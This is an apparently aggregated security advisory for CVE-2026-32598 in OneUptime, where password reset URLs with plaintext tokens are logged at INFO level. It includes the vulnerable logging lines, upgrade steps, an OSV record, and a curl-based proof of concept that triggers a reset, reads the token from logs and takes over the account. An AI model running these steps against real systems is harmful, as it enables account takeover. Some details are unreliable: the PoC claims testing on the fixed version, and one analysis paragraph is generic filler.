CVE-2026-32598: OneUptime Password Reset Token Logged At Vulnerability

MODERATE
Advisory Identifier: GHSA-4524-cj9j-g4fj
CWE-532
Published
Advisory Summary

CVE-2026-32598 is a MODERATE password reset token logged at vulnerability (CWE-532: Insertion of Sensitive Information into Log File) affecting OneUptime libraries in the npm ecosystem. The issue involves password reset token logged at info level. Remediation is available by upgrading affected packages to version 10.0.23.

CVE-2026-32598 at a Glance

CVE Identifier CVE-2026-32598
GHSA Identifier GHSA-4524-cj9j-g4fj
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-532: Insertion of Sensitive Information into Log File
Affected Product OneUptime
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-32598

To remediate this vulnerability, upgrade all affected OneUptime dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

oneuptime fixed: 10.0.23
npm install oneuptime@10.0.23
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls oneuptime

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-32598, inspect your project dependencies using npm:

npm ls oneuptime

Analyze the terminal output to locate any version of OneUptime in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.0.23), your application is affected.

Note: The npm ls oneuptime command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-532: Insertion of Sensitive Information into Log File, where the product writes sensitive information to a log file. In OneUptime, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user. ### Details **Vulnerable code — `App/FeatureSet/Identity/API/Authentication.ts` lines 370-371:** ```typescript logger.info("User forgot password: " + user.email?.toString()); logger.info("Reset Password URL: " + tokenVerifyUrl); ``` The `tokenVerifyUrl` is a complete URL like `https://app.oneuptime.com/accounts/reset-password/<plaintext-token>`. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems. **Additionally — login credentials logged at DEBUG level (line 909):** ```typescript logger.debug("Login request data: " + JSON.stringify(req.body, null, 2)); ``` The entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting. No existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked `resetPasswordToken` from the database via multi-tenant header bypass — this finding is different (token leaked via application logs). ### PoC **Environment:** OneUptime v10.0.23 via `docker compose up` (default configuration) ```bash # Step 1 — Trigger forgot-password for target user curl -s -X POST http://TARGET:8080/api/identity/forgot-password \ -H 'Content-Type: application/json' \ -d '{"data": {"email": "test@example.com"}}' # Response: {} # Step 2 — Read application logs to extract the reset token docker compose logs app --tail 5 # Output: # app-1 | User forgot password: test@example.com # app-1 | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef # Step 3 — Use the extracted token to reset the victim's password curl -s -X POST http://TARGET:8080/api/identity/reset-password \ -H 'Content-Type: application/json' \ -d '{"data": {"token": "20771cc6-860a-4b9b-bb9c-09eff67de4ef", "password": "NewPassword123!"}}' ``` **Tested and confirmed on 2026-03-12 against `oneuptime/app:release` (APP_VERSION=10.0.23).** Full password reset token `20771cc6-860a-4b9b-bb9c-09eff67de4ef` visible in INFO-level logs. **Attack surface for log access:** ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, `docker logs` / `kubectl logs`, shared log volumes, CDN/proxy access logs. ### Impact Any user's account can be taken over by anyone with read access to application logs: - **Account takeover:** Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens - **Exposure scale:** This logs EVERY password reset request — not a one-off, but systematic - **Cascading impact:** Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user - Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access

CVE-2026-32598 Affected OneUptime Versions

1 component(s)
Fixed Versions:
10.0.23
Product / Package Ecosystem Affected Versions Fixed Version
oneuptime
npm
< 10.0.23
10.0.23

References

Frequently Asked Questions

What is CVE-2026-32598?
CVE-2026-32598 is a security vulnerability in OneUptime involving Password Reset Token Logged at INFO Level under CWE-532: Insertion of Sensitive Information into Log File.
Which OneUptime versions are affected?
Affected versions include releases prior to 10.0.23 across affected packages: oneuptime.
What version fixes CVE-2026-32598?
Upgrading to 10.0.23 (or the latest patched release for your respective branch) resolves the vulnerability.
Is oneuptime affected?
Yes, oneuptime is affected in releases prior to 10.0.23. Upgrade your dependency to 10.0.23 or later.
What CWE is associated with CVE-2026-32598?
CVE-2026-32598 is classified under CWE-532: Insertion of Sensitive Information into Log File (The product writes sensitive information to a log file.).
How can I check npm dependencies for CVE-2026-32598?
Run the dependency tree command: 'npm ls oneuptime'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4524-cj9j-g4fj",
  "modified" : "2026-03-16T17:07:40Z",
  "published" : "2026-03-13T20:05:12Z",
  "aliases" : [ "CVE-2026-32598" ],
  "summary" : "OneUptime: Password Reset Token Logged at INFO Level",
  "details" : "### Summary\n\nThe password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user.\n\n### Details\n\n**Vulnerable code — `App/FeatureSet/Identity/API/Authentication.ts` lines 370-371:**\n```typescript\nlogger.info(\"User forgot password: \" + user.email?.toString());\nlogger.info(\"Reset Password URL: \" + tokenVerifyUrl);\n```\n\nThe `tokenVerifyUrl` is a complete URL like `https://app.oneuptime.com/accounts/reset-password/<plaintext-token>`. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems.\n\n**Additionally — login credentials logged at DEBUG level (line 909):**\n```typescript\nlogger.debug(\"Login request data: \" + JSON.stringify(req.body, null, 2));\n```\n\nThe entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting.\n\nNo existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked `resetPasswordToken` from the database via multi-tenant header bypass — this finding is different (token leaked via application logs).\n\n### PoC\n\n**Environment:** OneUptime v10.0.23 via `docker compose up` (default configuration)\n\n```bash\n# Step 1 — Trigger forgot-password for target user\ncurl -s -X POST http://TARGET:8080/api/identity/forgot-password \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"data\": {\"email\": \"test@example.com\"}}'\n# Response: {}\n\n# Step 2 — Read application logs to extract the reset token\ndocker compose logs app --tail 5\n# Output:\n# app-1  | User forgot password: test@example.com\n# app-1  | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef\n\n# Step 3 — Use the extracted token to reset the victim's password\ncurl -s -X POST http://TARGET:8080/api/identity/reset-password \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"data\": {\"token\": \"20771cc6-860a-4b9b-bb9c-09eff67de4ef\", \"password\": \"NewPassword123!\"}}'\n```\n\n**Tested and confirmed on 2026-03-12 against `oneuptime/app:release` (APP_VERSION=10.0.23).** Full password reset token `20771cc6-860a-4b9b-bb9c-09eff67de4ef` visible in INFO-level logs.\n\n**Attack surface for log access:** ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, `docker logs` / `kubectl logs`, shared log volumes, CDN/proxy access logs.\n\n### Impact\n\nAny user's account can be taken over by anyone with read access to application logs:\n\n- **Account takeover:** Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens\n- **Exposure scale:** This logs EVERY password reset request — not a one-off, but systematic\n- **Cascading impact:** Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user\n- Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "oneuptime"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.0.23"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-4524-cj9j-g4fj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32598"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OneUptime/oneuptime"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OneUptime/oneuptime/releases/tag/10.0.23"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-532" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-13T20:05:12Z",
    "nvd_published_at" : "2026-03-13T19:55:09Z"
  }
}